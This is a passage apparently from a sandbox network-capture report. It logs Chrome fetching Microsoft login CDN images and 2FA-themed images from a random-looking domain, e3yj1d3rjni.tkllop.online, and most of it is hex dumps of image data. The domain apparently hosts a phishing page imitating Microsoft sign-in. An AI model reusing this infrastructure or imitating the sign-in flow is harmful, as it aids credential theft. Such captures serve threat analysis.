{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e4de936e796-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1244&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=954&delivery_rate=2236293&cwnd=251&unsent_bytes=0&cid=1058d00a21971d65&ts=183&x=0"
2024-10-29 09:47:18 UTC	325	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 55 00 00 03 a1 08 02 00 00 00 79 2b d2 dd 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 20 00 49 44 41 54 78 9c ec bd eb 9a dc b6 0e 2c 5a 80 7a 9c fd ac fb bc ff 77 56 ec 16 6a ff c0 85 20 a5 9e 19 3b c9 5a b6 43 c4 e9 51 ab 25 8a 37 91 a8 02 08 ca ff fd ff fe ef db e3 ed ed ed ed 38 8e e3 11 ff a9 1e c7 a1 87 1e aa a2 aa aa 2a 29 80 88 40 44 48 6c f9 89 65 34 8f b4 2f 2f 1b 4d Data Ascii: PNGIHDRUy+sBITO_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh- IDATx,ZzwVj ;ZCQ%78*)@DHle4//M
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: a4 5f f8 23 95 c3 9b a3 1f 4f ed d3 32 15 f2 be ae f8 0f 64 43 a6 5e c8 9e 05 e1 a4 f4 4b 65 8d af 32 b9 e5 37 11 11 d0 47 17 82 21 76 9e 46 9a 99 9d a7 3d ed b4 f3 7c 3e 9f e7 f3 7c 3e 9f cf e7 f3 db b7 6f df 9e df 1e 6f 8f b7 b7 2f 6f 6f 6f 6f 8f e3 f1 78 0b 02 e0 71 1c c7 e1 2c 80 53 00 47 31 00 0e ff ff d7 e5 dd f2 c3 f2 7a b8 fc 48 e4 9d 6f 5b b6 6c d9 b2 65 cb 96 2d bf b0 10 2f 81 fd 8b 53 9f 53 a4 42 3d ff bb 44 e4 03 0d 6c e5 08 6e b2 83 4f e7 9f 2f fe fe 60 de c6 95 2f 9f f4 19 f9 9b ab f4 c7 44 b0 50 43 41 1f fd 63 f9 ba a9 dd 17 6d 3d 93 05 5b 7e 7f 61 a1 7f 33 b3 d3 8c e7 79 9e 76 9e e7 f9 7c 3e 8f e3 78 1e 4f 3d 54 34 7a c5 e3 ad c9 e3 f1 78 3c 1e 6f 8f b7 e3 08 0e c0 1d 01 44 f4 38 9c 00 d0 f4 02 d8 f2 13 49 d0 80 af c9 d8 7e ed 5f 1c 97 ee Data Ascii: _#O2dC^Ke27G!vF=\|>\|>oo/ooooxq,SG1zHo[le-/SSB=DlnO/`/DPCAcm=[~a3yv\|>xO=T4zx<oD8I~_
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 3e 50 0e bf 35 e9 a4 6e 7a 1e 01 72 33 80 33 7b c1 e4 0c e6 0e 26 9b 6c dc b2 65 cb 96 2d 5b b6 fc 3c c2 8b de 33 1b fc e3 8c 91 64 00 62 82 b4 e9 2a 2c b8 74 fc 74 79 dc 64 79 e9 c4 c0 87 1c c0 cd 42 ed 05 e1 8f 8b 66 6c 38 fe 1b d0 1b 5d 67 6f 18 bb 6a 62 ae 80 89 ec 68 07 77 d9 b9 64 ac 11 10 23 17 03 84 36 fe a2 c1 fa 86 fa 57 0a 60 02 fb b3 b9 6a b5 73 cd 52 4d f2 3d 70 a5 5f fa 31 85 70 9f f2 bd fd ff 1d 5a a8 93 3a eb 83 66 fe 44 cb 0f c0 31 be 8a fa f1 90 f0 15 10 54 b8 f6 8a 03 98 c1 df b6 0d f7 f7 92 da f9 2f c1 ff 79 9e 87 ea f3 f9 54 b7 d9 03 f0 c0 00 1e 14 f0 f9 7c 1c 7a e4 86 7f 19 f9 ff f1 78 fb f2 e5 8b 47 01 74 1f 80 e3 f0 dd 00 47 f0 c0 bd 05 c0 cf 2a d3 58 38 1c db c6 70 8a 75 ba 42 3b 9b b2 34 ad cc 33 c7 1c 5a e6 86 d0 dd e1 45 b6 6c Data Ascii: >P5nzr33{&le-[<3db,ttydyBfl8]gojbhwd#6W`jsRM=p_1pZ:fD1T/yT\|zxGtGX8puB;43ZEl
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: af 4a 33 11 21 44 70 1a 54 cc 4e 87 ed 0a 31 31 20 b1 dd 58 f6 ef 20 d5 8f 00 dc 81 c9 21 22 d2 a3 32 f5 eb 07 10 5d cc d8 33 f8 bf 22 fa 42 d5 3d f2 5b b3 ba e7 61 5c 5b 6b e7 49 8f 77 88 04 fd 8a c3 40 b7 60 7b 1e c5 fd 4c 89 15 d2 4e 05 14 34 7c 5a df 02 30 14 82 cd ec 79 1d 52 dc 81 95 14 28 09 2d 4b bf 00 54 39 cc c8 60 1f 9c 07 e8 15 c3 32 ca fb 71 fa 70 e4 35 93 5b eb c5 f0 5e 15 ce 5e af 53 a5 b6 26 b8 27 0e d6 ef ed 01 f7 14 84 54 0e e7 b3 95 c9 4b e2 65 c5 c7 52 93 92 d8 5f 45 55 8f 43 44 f4 38 b4 2f 04 68 2c 00 c4 69 04 1d dd 62 cb 6f 23 31 92 19 cd cc 49 20 11 c9 c1 8d 76 f2 f1 38 7d 81 7f f9 f2 1f 7a 0c 54 af 49 04 74 79 1c 19 18 e0 38 8e e3 10 91 e3 38 90 8e 28 ff eb 22 ff 7b a5 ad 20 1a 43 f2 70 98 4a d8 3f 96 ab 0d 47 2f 02 d4 f2 9a 9a d3 Data Ascii: J3!DpTN11 X !"2]3"B=[a\[kIw@`{LN4\|Z0yR(-KT9`2qp5[^^S&'TKeR_EUCD8/h,ibo#1I v8}zTIty88("{ CpJ?G/
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: a2 1b 48 1a 9f 55 85 b1 54 5f bd 74 aa 84 19 54 d4 d4 54 34 51 af 33 15 95 81 aa 41 12 80 9d 67 3f 19 96 4d 6b b6 fe 89 0e 08 06 00 b9 3f 03 73 81 46 ab ba 50 69 ab 66 31 cc e7 ad 00 88 a5 cd 13 3d d1 a5 c8 01 de aa b6 6e 97 2b df 8a 74 e6 40 b5 69 63 00 38 a5 49 11 11 58 1a e0 30 72 3f d6 f9 0b 20 2d 26 17 54 48 05 8d 56 fe 1c 49 75 0c 9d 5d c3 c2 5b 24 80 b6 bd 21 aa 44 5b 7e 75 a9 77 25 1c 7d c8 e3 50 3b 8f 43 8f 53 4f b7 e4 77 66 c8 0f 1e b5 6e 44 66 e9 24 41 ff d5 d7 ff ef 4e f3 42 d6 6a 79 59 4d 3f 5a 7f 8d 2f ce 25 fd 12 a1 64 c2 6b cc 49 4f c2 00 13 31 9a 41 0c 30 90 10 8b 2d 00 c2 bd 0a b1 be 6a f8 ee 2b 44 01 83 1c e1 9b e5 d6 7f c5 20 02 a0 a2 9a 2c 40 64 66 60 fd dd 31 b6 6c d9 b2 65 cb 96 2d 3f 9b b8 0f 38 e5 38 e8 78 5e 21 66 b9 cd 71 ec d9 Data Ascii: HUT_tTT4Q3Ag?Mk?sFPif1=n+t@ic8IX0r? -&THVIu][$!D[~uw%}P;CSOwfnDf$ANBjyYM?Z/%dkIO1A0-j+D ,@df`1le-?88x^!fq
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: b1 7f 22 d2 11 bf 3d ba 42 2a 2e e0 df ea d4 00 f7 69 ff cf 55 09 93 13 80 b5 10 80 1c fe ff ab 56 5a 51 19 28 be ac 75 20 f6 4e c1 64 df f0 96 fa a0 7b 0d bf 80 68 55 15 40 08 51 6f cd 4c a2 31 13 00 90 5b 36 44 53 21 ab 64 d8 ef 55 61 66 a2 07 49 43 84 54 84 11 a0 a8 6f a2 68 a4 ba 0b b0 46 12 e1 ad 90 6e 10 5c 14 f5 ad a5 ff 36 32 f7 52 dc f6 f7 e5 8c b8 fd ff 23 d9 5d e4 ef 94 0f 01 ff dd 2f 63 76 b2 f4 00 70 e7 2a 92 81 fc 59 f8 9f a7 f1 69 3c 89 67 e1 7f 33 bf c0 c2 5b 2d 18 04 5f 90 e6 5e 42 0f 25 45 14 02 85 98 6f d1 4a 01 54 94 3e 67 a2 39 c8 c9 9a cf dd 4b b6 6c d9 b2 65 cb 96 2d bf 80 30 ff 8d e5 90 11 80 2e 61 24 ca 14 ed ff d2 f8 6f a7 59 3a 00 24 02 2d 8f ca b2 9b 11 1a f8 4d 8c c2 70 b0 5d 75 72 72 32 a6 9b 41 24 03 ba 31 7d 35 c7 72 cf f4 Data Ascii: "=B.iUVZQ(u Nd{hU@QoL1[6DS!dUafICTohFn\62R#]/cvpYi<g3[-_^B%EoJT>g9Kle-0.a$oY:$-Mp]urr2A$1}5r
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 8f 4e 0a 9c 2a 87 c6 08 74 08 8c 30 c2 80 e4 62 85 83 c0 bc 1d 33 ee 87 93 3d c0 6c d9 b2 65 cb 96 2d 5b 7e 2a e1 ed e1 cb ab d7 45 e3 8b 48 2a 6b 8b ce 73 35 11 b3 2d f5 1f 40 4e 90 fb 04 f8 4a 74 8c 75 ea 22 1e e2 2d f6 85 9f 9f 5d f0 b4 00 7b 90 0b 8e a7 dd d9 9d 48 07 83 34 e4 14 68 cf 3c 48 53 35 a7 dc a7 95 bf e5 1f 6b e5 cd bb df e5 76 50 98 81 ea 5d bd b1 b4 ca 96 60 33 8e 8f dc dc 34 51 f8 ca 47 80 83 9e 26 22 ce 7e 84 d1 bb 33 b7 5f d3 ba b1 e4 97 77 06 ee 9b f6 a5 2a 5c e5 8d 38 eb 7e 9c 24 d0 a8 8d 51 fd 75 8f 66 e0 41 af 57 67 09 a2 34 cb a5 e3 f6 7e 70 93 9d 55 38 58 09 cc 1d 72 cb bf 50 36 fe ff 87 64 1e 29 ef 87 a0 7b 66 a0 28 4d 4f c2 71 b8 c7 38 35 f8 66 7e e6 a1 fe 9e fe 69 7c 9a 3d 0d df 4e fb 96 14 c0 d7 d3 f1 bf bb 00 64 5c 40 4e 69 Data Ascii: Nt0b3=le-[~EHks5-@NJtu"-]{H4h<HS5kvP]`34QG&"~3_w\8~$QufAWg4~pU8XrP6d){f(MOq85f~i\|=Nd\@Ni
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 91 0b b9 c4 32 34 9a d8 d4 43 a3 c6 33 8c 41 ab 2f 8c 7c 35 72 a4 48 0a 21 62 47 c0 6a d9 6a 8d d6 d6 e3 b3 13 0a aa d1 1c a3 35 06 42 18 70 be a8 94 5c ac 11 fb 1a 08 45 54 82 4b 98 19 22 11 11 39 54 44 c2 9f 57 e2 52 81 10 32 9b f7 23 0a 44 f0 4a 12 e0 ff 17 7b 83 07 61 f3 09 d9 d1 0d 3e 94 8d ff ff 7e f9 e8 85 9a de b8 e1 f3 ef ac 6e 82 7f c7 ff 0e fe 1d ff b7 d5 fe e5 ea 1f 96 ff 3f 9f e7 57 c3 d7 d3 dc 0b e0 eb c9 af 19 fc ff 69 34 e3 39 02 a1 42 01 89 80 ff 22 a0 8a 9e e1 65 50 d1 fe c7 72 b2 1c d8 3b 99 26 a0 6f 24 8b fb 57 71 bf 71 5b b6 6c d9 b2 65 cb 2f 25 9f 41 03 63 ed f5 af 29 a3 8c 42 f7 e4 47 ae 24 4f 93 bc 28 c4 54 c4 02 33 1f 6a 76 1c 24 8f e3 80 08 cc 70 12 42 9c 22 62 22 74 4f 80 5a ba 1d c9 0b 00 1d 2e fd 22 a2 50 1d ba 54 d9 6b 27 84 Data Ascii: 24C3A/\|5rH!bGjj5Bp\ETK"9TDWR2#DJ{a>~n?Wi49B"ePr;&o$Wqq[le/%Ac)BG$O(T3jv$pB"b"tOZ."PTk'
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 4a 32 60 50 00 b4 a6 99 0b 8a 23 18 6d 3a 7a 81 08 04 95 b7 c9 4e 5f b7 df b9 00 5c 08 80 5a 01 90 3e 11 ad ec 23 d9 c6 3f 48 ab cd a8 7e 8f d8 1d 55 52 c4 14 44 44 21 19 47 c1 f9 85 a3 73 2e f5 6f b4 74 31 02 d5 e2 69 fb ff e5 60 f3 60 63 e6 9c bf 5f 96 5f b1 a4 ff 1d d9 f8 ff af c8 67 67 c1 01 fe 6b e1 0f 61 b9 96 ca c2 fd 89 24 9f 19 f0 cf dd fe 9f 01 e6 23 92 ff d7 93 df cc fe 7c 0e 57 ff 3f 9f f6 e7 c9 ff 3c ed ab 83 7f 8f ff 7f d2 59 03 f7 26 c8 e5 6d 50 c5 11 23 13 4f 4a 70 8b 6d 14 d2 ee 02 17 91 02 6a 3a 81 e6 85 35 94 ec 57 6a cb 96 2d 5b b6 6c f9 fd e4 33 c8 ff 97 e4 02 5a 9e 25 97 41 17 3e 73 4b ad 9a 26 f2 57 82 0f 40 00 f5 f5 92 e6 f1 f0 f5 3c 1d a2 a9 83 ef 8c 64 57 38 13 11 f2 ad f0 be 43 e4 81 15 cb eb bc 18 02 39 d2 76 1f 19 9d 7c 15 a4 Data Ascii: J2`P#m:zN_\Z>#?H~URDD!Gs.ot1i``c__ggka$#\|W?<Y&mP#OJpmj:5Wj-[l3Z%A>sK&W@<dW8C9v\|
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 7f 31 bf 7f 4d af 18 b8 b6 9f cd d2 34 98 2a be 5d 9f 05 0b 20 a0 88 98 51 e8 a1 d9 7d d3 3c d5 30 50 87 a3 78 2f 5d b3 0d fb a1 a6 65 be 7e 1b e7 1b 74 4b d6 44 7c f9 b7 43 b7 a6 76 f8 c9 58 3a ef ee 00 89 55 87 b2 26 e8 9a 0a 1b 40 cf 1c 64 75 a4 45 2a 8b 51 c0 dc 8d 48 18 71 f5 27 e4 3c 23 e2 56 6f 9a ac c7 d5 f2 ef 5f ca 0a 2e 49 37 10 22 3d f2 00 12 ff 4b 20 7a 99 5a 3e 8e e2 a2 52 6a c6 5a 80 50 80 6d 98 bb 26 ce aa 99 e1 7d 39 40 d6 1c da e6 0d 93 64 61 23 db cd 0b 40 66 ce 05 42 0f b0 08 81 fa 7f 45 eb f4 ce 41 e3 84 fc 8b 8f 11 eb 6d d1 0c 63 be 6d a3 a7 9c 7c 52 06 74 1c 35 1d 8a bd 5b 39 38 38 0c 01 69 80 58 18 e7 d0 ba c7 3f 24 1f 8e 0f eb 50 40 c2 39 8f 79 ac 58 b4 9a ce 02 dc 01 fe 1f 54 cb ff 85 b2 f1 ff 27 e5 93 c8 7f 1d 6a 06 f5 98 b0 3f Data Ascii: 1M4] Q}<0Px/]e~tKD\|CvX:U&@duEQHq'<#Vo_.I7"=K zZ>RjZPm&}9@da#@fBEAmcm\|Rt5[988iX?$P@9yXT'j?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49778	152.199.21.175	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:18 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 18920860 Cache-Control: public, max-age=31536000 Content-MD5: TjUQkZ0p0Y7rbj6LJofS9Q== Content-Type: image/svg+xml Date: Tue, 29 Oct 2024 09:47:18 GMT Etag: 0x8D79A1B9B05915D Last-Modified: Thu, 16 Jan 2020 00:32:45 GMT Server: ECAcc (lhc/7912) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 17a39001-701e-0084-32d1-7da17b000000 x-ms-version: 2009-09-19 Content-Length: 513 Connection: close
2024-10-29 09:47:18 UTC	513	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 2c 31 31 2e 35 37 38 76 2e 38 34 34 48 37 2e 36 31 37 6c 33 2e 39 32 31 2c 33 2e 39 32 38 2d 2e 35 39 34 2e 35 39 34 4c 36 2c 31 32 6c 34 2e 39 34 34 2d 34 2e 39 34 34 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 38 5a 22 20 66 69 6c 6c 3d 22 23 34 30 34 30 34 30 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 34 34 2c 37 2e 30 35 36 6c 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49784	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:18 UTC	374	OUT	GET /static/media/call_2fa.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	1038	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:18 GMT Content-Type: image/png Content-Length: 5533 Connection: close Content-Disposition: inline; filename="call_2fa.png" Last-Modified: Sat, 04 Nov 2023 15:30:38 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MS6o1A%2FJhXiWeuf39YNQPIAlJ89iDKo2R5GvO3eE4P5v1Tg8TgQ0OcsY54jibrC8TcWASQdH9SDHIVYkK6YeeqOnKtVKTqbnma5xZDm0un7iwSVUHkpfoeSFQVy2QBXxaz%2BOplDXsJMoRGeE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e534a6c4786-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1051&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=2666666&cwnd=234&unsent_bytes=0&cid=4de669a0c5da27c1&ts=178&x=0"
2024-10-29 09:47:18 UTC	331	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 e9 49 44 41 54 78 9c ed 9d 79 7c 1c c5 95 c7 df ab 92 2c d9 c8 86 24 48 21 24 f6 8c 15 d6 49 80 64 21 e6 93 25 8b 46 d5 ad 03 47 e0 e5 8c 30 21 2c a7 31 f7 0d 81 10 20 90 70 84 db 1c 31 04 58 43 20 24 9b d8 e6 5a 83 60 65 cf 74 79 ec 05 92 75 58 ae 04 96 c4 d6 88 b0 18 db 24 06 e4 03 cd Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxy\|,$H!$Id!%FG0!,1 p1XC $Z`etyuX$
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 68 34 1a 8d 46 a3 d1 68 34 1a 8d 46 a3 d1 68 34 9a 92 e0 95 0e 40 53 3e a6 69 9e d4 dc dc 6c af 5d bb f6 dd 4a c7 32 0c ab 74 00 9a f2 10 42 9c 62 db f6 7d b6 6d 5b a6 69 ce ac 74 3c c3 60 a5 03 18 89 10 a2 01 00 92 00 b0 1b 63 4c 31 c6 fe b2 7c f9 f2 37 01 80 2a 1b 59 75 62 18 c6 99 44 74 27 22 0e 7f 8f 1b 19 63 ed e9 74 fa e5 8a 06 06 55 20 ac ee ee 6e be 7e fd fa ef 00 c0 b1 00 60 20 62 dd c8 76 22 7a 0f 11 1f e5 9c cf 5f be 7c f9 1f 2a 13 65 f5 21 84 38 1b 00 6e 1f 21 aa 61 aa 42 5c 15 15 56 5b 5b 5b 6b a1 50 b8 9b 31 b6 a7 9f ad 52 4a 21 e2 dd 00 70 a9 94 72 20 86 f0 aa 16 c3 30 ce 25 a2 db 46 11 d5 30 15 17 57 c5 e6 58 a6 69 ce b3 6d 7b 59 10 51 01 00 30 c6 18 22 9e 89 88 af 98 a6 d9 16 75 7c d5 8a 10 e2 7c 00 98 ef 21 2a 20 a2 cf 10 d1 7e 31 86 f5 Data Ascii: h4Fh4Fh4@S>il]J2tBb}m[it<`cL1\|7YubDt'"ctU n~` bv"z_\|e!8n!aB\V[[[kP1RJ!pr 0%F0WXim{YQ0"u\|\|!* ~1
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: b6 f3 2d cb 0a 32 a1 1f 13 84 96 8f 55 28 14 26 79 e4 f0 45 fe 85 0a 21 76 03 00 d7 55 27 22 be 10 75 0c db c1 0c c3 f8 19 00 cc f5 33 b4 6d fb 8e 6c 36 3b 6e 44 05 10 e2 88 c5 18 db c9 ad 0d 11 23 59 0d 0e d3 d9 d9 b9 13 22 fe 87 d7 a1 37 22 3e 15 65 0c db c1 52 a9 d4 7d 10 40 54 00 70 57 36 9b 3d 0f c6 d9 a5 dc d0 46 2c 44 a4 e1 8c ca 28 fd 6c 8f 10 a2 61 70 70 f0 71 44 74 bd ee 44 44 ef db b6 ed 99 9a 13 22 cc 30 8c fb 01 e0 44 3f 43 db b6 17 64 b3 d9 73 60 9c 89 0a 20 c4 2f 9c 88 5c 47 25 22 72 1d cd ca a1 a5 a5 e5 53 88 f8 34 00 ec ef 65 87 88 d7 af 5c b9 f2 6f 51 c4 30 12 e7 56 f7 bf 01 c0 f1 01 cc ef c9 66 b3 67 c1 38 14 15 40 88 c2 52 4a 6d 76 9b 63 79 ac 16 4b 46 08 b1 0b 22 a6 01 c0 33 7b 81 88 9e 6b 6a 6a ba 39 6c ff db d3 dd dd cd 37 6c d8 f0 Data Ascii: -2U(&yE!vU'"u3ml6;nD#Y"7">eR}@TpW6=F,D(lappqDtDD"0D?Cds` /\G%"rS4e\oQ0Vfg8@RJmvcyKF"3{kjj9l7l
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: df df ef fa b3 19 84 35 6b d6 6c 9e 31 63 c6 62 db b6 0f 42 c4 26 37 3b 44 6c 49 24 12 13 73 b9 9c 57 e6 ab a6 48 62 4f bf 90 52 3e 04 1e 67 7d 88 38 b5 a6 a6 e6 8e 30 7c f5 f6 f6 ae 57 4a 75 82 ff 6a f1 12 c3 30 82 bc 2e a6 09 48 25 f2 7a 14 e7 fc 64 9f 87 96 8e 15 42 7c 27 0c 67 d9 6c f6 1d db b6 db c0 47 5c 00 70 b1 61 18 77 42 4c 7b 7b 5d 5d 5d 75 e5 2e 56 aa 99 8a 1d d0 06 78 92 76 13 63 6c 9f 74 3a 9d 0b c3 5f 2a 95 fa 1c e7 3c 0d fe c7 3f f7 5b 96 75 2a 84 7c c1 b4 a3 a3 63 e7 42 a1 70 02 00 cc 56 4a 7d 83 31 36 9c 36 34 00 00 af 02 c0 52 ce f9 af 96 2f 5f be 26 4c bf 95 a2 92 c2 aa 21 a2 55 8c b1 6f b8 d9 10 d1 8b 93 27 4f 6e 59 ba 74 e9 96 30 7c 16 21 ae 5f 10 d1 89 52 ca 42 b9 3e 9d 9a 59 e7 03 c0 65 88 e8 75 d3 08 9c 34 a3 85 30 f4 c2 97 6b f5 Data Ascii: 5kl1cbB&7;DlI$sWHbOR>g}80\|WJuj0.H%zdB\|'glG\pawBL{{]]]u.Vxvclt:_<?[u\|cBpVJ}1664R/_&L!Uo'OnYt0\|!_RB>Yeu40k
2024-10-29 09:47:18 UTC	1095	IN	Data Raw: c5 45 d5 ae 0a dd 48 a7 d3 39 ce 79 0a 3c 9e 57 01 f8 fb 31 c8 25 eb d7 af 7f aa a5 a5 c5 37 17 aa da 71 92 0e 8f 02 80 75 6e 36 8c b1 c3 a1 4a 06 8b 31 27 2c 80 a1 32 46 85 42 a1 8d 88 9e f3 b3 45 c4 59 8c b1 e7 5b 5b 5b dd 6e 61 8f 19 a4 94 eb 00 e0 2c b7 76 44 fc 9c 10 e2 8b 31 86 e4 ca 98 14 16 00 80 f3 14 ef 81 44 d4 eb 67 cb 18 9b 81 88 bf 33 0c e3 54 a8 92 bf e8 52 b1 2c 6b 09 11 b9 ce a3 38 e7 bb c7 19 8f 1b 63 56 58 00 00 4e 5d ad 83 88 e8 a7 7e b6 ce 6a f2 1e c3 30 9e 6c 6b 6b fb 6c f4 d1 45 07 11 b9 26 3c da b6 5d 15 b5 57 c7 b4 b0 00 86 e6 1e 52 ca b3 88 68 9e 52 6a 30 c0 47 66 17 0a 85 97 4d d3 3c 24 f2 e0 22 c0 99 c4 7b 65 41 b8 ce c1 e2 64 cc 0b 6b 18 29 e5 7d 88 d8 4e 44 be af 62 31 c6 9a 88 e8 09 c3 30 ee 2d f5 09 96 0a 72 11 63 6c d4 9f Data Ascii: EH9y<W1%7qun6J1',2FBEY[[[na,vD1Dg3TR,k8cVXN]~j0lkklE&<]WRhRj0GfM<$"{eAdk)}NDb10-rcl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49780	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:18 UTC	379	OUT	GET /static/media/message_think.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	1048	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:18 GMT Content-Type: image/png Content-Length: 810 Connection: close Content-Disposition: inline; filename="message_think.png" Last-Modified: Sat, 04 Nov 2023 15:29:55 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XfIQ5iPOv4Gpv9X3Kw7z%2Bfg0wtD6mx8FTVOm5HeAE9c%2FvQFEjMMXxRNzNqiI%2Frc41eOFQiYMN5nF4f5oW3%2FDmGBhFTjRCQHOyXT3ViNHVzHOXsHAmVR2ekoEUiqjXtZwbjB%2BJyvNVb0rudP4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e534832e857-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1346&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=957&delivery_rate=2064148&cwnd=243&unsent_bytes=0&cid=06aa025d94818757&ts=316&x=0"
